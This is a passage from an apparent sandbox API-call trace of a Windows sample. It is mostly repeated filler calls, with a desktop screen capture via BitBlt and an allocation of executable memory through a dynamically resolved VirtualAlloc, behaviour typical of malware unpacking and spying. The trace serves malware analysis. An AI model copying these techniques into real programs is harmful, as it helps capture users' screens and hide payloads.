(hResData=0x0) returned 0x0 [0037.109] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.109] WinWatchNotify () returned 0x0 [0037.109] timeGetTime () returned 0x1144985 [0037.109] WinWatchOpen () returned 0x5ff038 [0037.109] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.109] LockResource (hResData=0x0) returned 0x0 [0037.109] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.110] WinWatchNotify () returned 0x0 [0037.110] timeGetTime () returned 0x1144985 [0037.110] WinWatchOpen () returned 0x5ff058 [0037.110] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.110] LockResource (hResData=0x0) returned 0x0 [0037.110] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.110] WinWatchNotify () returned 0x0 [0037.110] timeGetTime () returned 0x1144985 [0037.110] WinWatchOpen () returned 0x5ff078 [0037.110] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.110] LockResource (hResData=0x0) returned 0x0 [0037.110] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.110] WinWatchNotify () returned 0x0 [0037.110] timeGetTime () returned 0x1144986 [0037.110] WinWatchOpen () returned 0x5ff098 [0037.110] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.110] LockResource (hResData=0x0) returned 0x0 [0037.110] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.110] WinWatchNotify () returned 0x0 [0037.110] timeGetTime () returned 0x1144986 [0037.110] WinWatchOpen () returned 0x5ff0b8 [0037.110] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.110] LockResource (hResData=0x0) returned 0x0 [0037.110] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.110] WinWatchNotify () returned 0x0 [0037.110] timeGetTime () returned 0x1144986 [0037.110] WinWatchOpen () returned 0x5ff0d8 [0037.110] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.110] LockResource (hResData=0x0) returned 0x0 [0037.110] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.110] WinWatchNotify () returned 0x0 [0037.110] timeGetTime () returned 0x1144986 [0037.110] WinWatchOpen () returned 0x5ff0f8 [0037.110] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.110] LockResource (hResData=0x0) returned 0x0 [0037.110] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.110] WinWatchNotify () returned 0x0 [0037.110] timeGetTime () returned 0x1144986 [0037.110] WinWatchOpen () returned 0x5ff118 [0037.110] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.110] LockResource (hResData=0x0) returned 0x0 [0037.110] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.119] Escape (in: hdc=0xc, iEscape=19, cjIn=5, pvIn="\x90+/\x02Ð\x14/\x02", pvOut=0x0 | out: pvOut=0x0) returned 0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0037.120] IsDlgButtonChecked (hDlg=0x0, nIDButton=0) returned 0x0 [0037.120] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.120] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.120] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.120] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.120] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.120] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.120] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.120] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.121] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0037.122] GetWindowLongA (hWnd=0x0, nIndex=-6) returned 0 [0037.122] GetDesktopWindow () returned 0x10010 [0037.122] GetDC (hWnd=0x10010) returned 0x110107c9 [0037.122] GetClientRect (in: hWnd=0x10010, lpRect=0x18f54c | out: lpRect=0x18f54c) returned 1 [0037.122] CreateCompatibleDC (hdc=0x110107c9) returned 0x320101db [0037.122] CreateDIBSection (in: hdc=0x320101db, lpbmi=0x18f4d8, usage=0x0, ppvBits=0x18f528, hSection=0x0, offset=0x0 | out: ppvBits=0x18f528) returned 0x9050884 [0037.123] SelectObject (hdc=0x320101db, h=0x9050884) returned 0x185000f [0037.123] BitBlt (hdc=0x320101db, x=0, y=0, cx=1440, cy=900, hdcSrc=0x110107c9, x1=0, y1=0, rop=0xcc0020) returned 1 [0037.172] ReleaseDC (hWnd=0x10010, hDC=0x110107c9) returned 1 [0037.173] GdipAlloc (size=0x10) returned 0x0 [0037.173] LoadLibraryA (lpLibFileName="kernel32") returned 0x76c20000 [0037.174] SelectObject (hdc=0x320101db, h=0x185000f) returned 0x9050884 [0037.174] DeleteObject (ho=0x9050884) returned 1 [0037.190] DeleteDC (hdc=0x320101db) returned 1 [0037.190] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x18f470 | out: ppstm=0x18f470*=0x5c9048) returned 0x0 [0037.193] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0037.193] GdipAlloc (size=0x10) returned 0x0 [0037.193] VirtualAlloc (lpAddress=0x0, dwSize=0x34000, flAllocationType=0x3000, flProtect=0x40) returned 0x560000 [0037.194] IUnknown:Release (This=0x5c9048) returned 0x0 [0037.195] DialogBoxParamA (hInstance=0x400000, lpTemplateName=0x7a, hWndParent=0x0, lpDialogFunc=0x429e70, dwInitParam=0x0) returned 0xffffffff [0037.195] IsWindow (hWnd=0x0) returned 0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.195] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.196] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.197] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.197] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.197] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.197] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.197] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.197] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.197] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.197] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0037.197] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd870 [0037.197] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe050 [0037.197] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.197] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe080 [0037.197] GetModuleHandleA (lpModuleName="ntdll") returned 0x77130000 [0037.197] GetProcAddress (hModule=0x77130000, lpProcName="memcpy") returned 0x77152340 [0037.197] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe098 [0037.197] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe0b0 [0037.197] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.197] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe080 | out: hHeap=0x22f0000) returned 1 [0037.197] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe098 | out: hHeap=0x22f0000) returned 1 [0037.197] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe0b0 | out: hHeap=0x22f0000) returned 1 [0037.198] FindWindowA (lpClassName="z\x07", lpWindowName="") returned 0x0 [0037.198] RasDeleteSubEntryA (pszPhonebook="z\x07", pszEntry="z\x07", dwSubentryId=0x4) returned 0x26f [0037.399] GetParent (hWnd=0x0) returned 0x0 [0037.401] PageSetupDlgA (param_1=0x18c9dc) returned 0 [0037.405] SendMessageA (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0037.405] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.405] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.405] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.405] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.405] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.405] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.405] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22fe080 [0037.405] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.405] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe278 [0037.405] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe080 | out: hHeap=0x22f0000) returned 1 [0037.405] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x24) returned 0x22fe068 [0037.405] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe278 | out: hHeap=0x22f0000) returned 1 [0037.405] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x34) returned 0x22fe098 [0037.405] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.405] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe098 | out: hHeap=0x22f0000) returned 1 [0037.405] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.405] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.405] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.405] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.405] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.405] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9b30b0, dwHighDateTime=0x1d595b2)) [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9b30b0, dwHighDateTime=0x1d595b2)) [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9b57c0, dwHighDateTime=0x1d595b2)) [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.406] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 